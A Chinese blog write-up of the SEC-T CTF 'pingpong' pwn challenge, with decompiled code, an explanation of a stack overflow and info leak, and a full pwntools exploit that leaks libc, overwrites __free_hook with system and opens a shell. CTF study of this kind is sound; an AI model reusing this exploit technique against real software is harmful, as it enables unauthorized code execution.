美文网首页CTF Re&&Pwn
SEC-T pwn题 简单复现

SEC-T pwn题 简单复现

作者: zs0zrc | 来源:发表于2018-09-18 18:25 被阅读5次
  • pingpong

    这一题应该是最简单的pwn题了 ,但是我还是没做出来。对程序分析的不够明白,虽然把libc和canary都leak出来了,但不知道要怎么做,尝试修改返回地址,但是失败了.......

    防护机制:

    [*] '/home/zs0zrc/game/SECTF/pingppong/pingpong'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    防护机制全开,简单的运行了下,程序逻辑很简单。就是输入一串字符串,然后再将转换过后的字符串打印出来。用ida查看反编译的代码

    void __fastcall __noreturn sub_B93(__int64 a1, void *a2)
    {
      signed __int64 v2; // rdx
      void *v3; // rsp
      const char *v4; // [rsp+8h] [rbp-18h]
      void *ptr; // [rsp+10h] [rbp-10h]
      unsigned __int64 v6; // [rsp+18h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      v2 = 14LL;
      v3 = alloca(144LL);
      v4 = (16 * ((&v4 + 7) >> 4));                 // overwrite it
      while ( 1 )
      {
        printf("\nping: ", a2, v2);
        ptr = read_content(v4);
        if ( !ptr )
          break;
        a2 = ptr;
        printf("pong: %s\n", ptr);
        free(ptr);
        usleep(0xC350u);
      }
      _exit(0);
    }
    

    程序将v4的地址进行了一些位移操作后传给read_content函数作为参数,调试观察v4经过位移操作后的变化

    操作前:

    &v4 = 0x7fffffffdd78
    *v4 = 0x00007fffffffdeb8
    

    操作后

    &v4 = 0x7fffffffdd78
    *v4 = 0x7fffffffdce0
    

    read_content函数:

    _BYTE *__fastcall read_content(const char *buf)
    {
      int v1; // eax
      char v2; // al
      char v4; // [rsp+17h] [rbp-19h]
      int v5; // [rsp+18h] [rbp-18h]
      int i; // [rsp+18h] [rbp-18h]
      int len; // [rsp+1Ch] [rbp-14h]
      _BYTE *v8; // [rsp+20h] [rbp-10h]
    
      v5 = 0;
      while ( 1 )
      {
        v4 = getchar();                             // stack overflow
        if ( v4 == -1 || v4 == '\n' )
          break;
        v1 = v5++;
        buf[v1] = v4;
      }
      len = strlen(buf);
      v8 = malloc(0x400uLL);
      for ( i = 0; i < len; ++i )
      {
        if ( i & 1 )
          v2 = buf[i] ^ 0x20;
        else
          v2 = buf[i];
        v8[i] = v2;
      }
      return v8;
    }
    

    这里根据将字符串读取到*v4上去,因为这里读取结束的条件是 -1和'\n',可以读取很长的字符串,所以能覆盖v4变量。然后将读取的字符串经过一个简单的异或操作,拷贝到新malloc的chunk中,最后将chunk的地址作为函数返回值。因为这里没有在末尾加'\0'截断字符串,所以存在信息泄露。

    具体思路是:

    泄露libc地址
    覆盖v4的内容为 &__free_hook-8
    然后在读入 '/bin/sh\x00' + p64(system) #将__free_hook覆盖为system地址,这里'/bin/sh\x00'字符串要按它的规则进行异或
    最后程序执行free函数时,就会执行system函数
    #这是其中的一种做法,我看别人的wp还有的是用rop做的,泄露出stack的地址,然后将ropchain写入栈中,再覆盖返回地址
    

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pingpong')
    elf = ELF('./pingpong')
    libc = elf.libc
else:
    host = '142.93.39.178'
    port = '2025'
    p = remote(host,port)
    elf = ELF('./pingpong')
    libc = ELF('./libc.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
sl('aaaaaaaa')
ru('ping:')
sl('aaaaaaaa')
ru('pong: aAaAaAaA')
leak = u64(p.recvline().strip('\n').ljust(8,'\x00'))
leak_stdout = 0
for i in range(6):
    if(i&1):
        leak_stdout +=(((leak>>i*8)&0xff^0x20)<<(i*8))
    else:
        leak_stdout +=(((leak>>i*8)&0xff)<<(i*8))


libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print hex(libc_base)

binsh = '/BiN/Sh\x20'
payload1 = 'a'*0x98 + p64(__free_hook-0x8)
payload2 = binsh + p64(system)

sl(payload1)
rc()
sl(payload2)
p.interactive()

相关文章

  • SEC-T pwn题 简单复现

    pingpong这一题应该是最简单的pwn题了 ,但是我还是没做出来。对程序分析的不够明白,虽然把libc和can...

  • NCTF2018

    solo失败,丢了一半pwn没办法,马上考试,边看计网mooc边看题,还要做实验,先挑了些简单的,抢个pwn一血为...

  • HCTF2017 Level2的两道pwn题

    0x00 一些歪道理 比赛时pwn是肯定pwn不出来的,只有靠赛后复现才能够勉强维持得了尊严。不过确实能学到一些知...

  • 开坑入PWN第一步

    开始开坑学习PWN了,老师希望我能学PWN,总结PWN题的规律日后好挖洞,于是一个妄想成为web手的菜狗转战大表哥...

  • 2019 swpuctf pwn writeup

    前言 前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血...

  • CTF pwn题搭建的笔记

    1.准备好题题目需要自己搞好,比如最简单的一个pwn(stackoverflow): 2.gcc/g++编译这时候...

  • hgame——pwn week1复现

    aaaaaaaa:checksec检查,ida分析: 开了堆栈不可执行的保护,分析逻辑很简单,就是输入必须a,且是...

  • pwntools使用

    pwntools工具是做pwn题必备的EXP编写工具,这里写(抄)一些简单的用法,以备查询。 1.安装 安装可以参...

  • TCTF Finals in Shanghai

    上海之行结束,又一次感受到自己和master of pwn的差距,细数下来,近半年的比赛好像都没去复现,其...

  • [rctf_2018] simple_vm

    simple_vm 0x00 背景 pwn实在是pwn不动, 于是转来看其它题. 因为这道题解出来的人比较多. 所...

网友评论

    本文标题:SEC-T pwn题 简单复现

    本文链接:https://www.haomeiwen.com/subject/qnrmnftx.html